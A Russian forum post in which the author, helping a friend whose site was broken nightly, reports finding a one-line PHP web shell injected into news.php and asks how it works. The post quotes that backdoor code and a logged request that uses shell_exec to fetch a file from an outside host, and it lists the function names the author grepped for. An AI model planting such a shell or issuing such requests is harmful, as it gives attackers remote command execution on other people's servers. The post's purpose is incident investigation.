Одному страдальцу каждую ночь ломали сайт, как он его ни восстанавливал из бакапов, как ни обновлял скрипты. Обратился товарищ ко мне за помощью, я прогрепал все скрипты на всевозможные shell_exec/eval/base64_decode/preg_replace.*/e — ничего! В логах доступа нашел-таки подозрительное обращение к одному из скриптов, глянул в него — первой строкой был вставлен код вида:
<?=($_=@$_GET[c]).stripslashes(@$_($_GET[f]))?>
обращались к скрипту так:
GET /news.php?c=shell_exec&f=fetch%20http://bitrix.metrolux******.ru/upload/to.php
Хотелось бы разобраться, как это работает? Понятно, что собачки подавляют вывод ошибок в error_log. Но что отвечает в этом коде за выполнение php функций? Самое интересное, если убрать собачки и вместо shell_exec поставить print, например, то в лог ошибок падает «PHP Fatal error: Call to undefined function print()», но тем не менее, shell_exec прокатывает без проблем…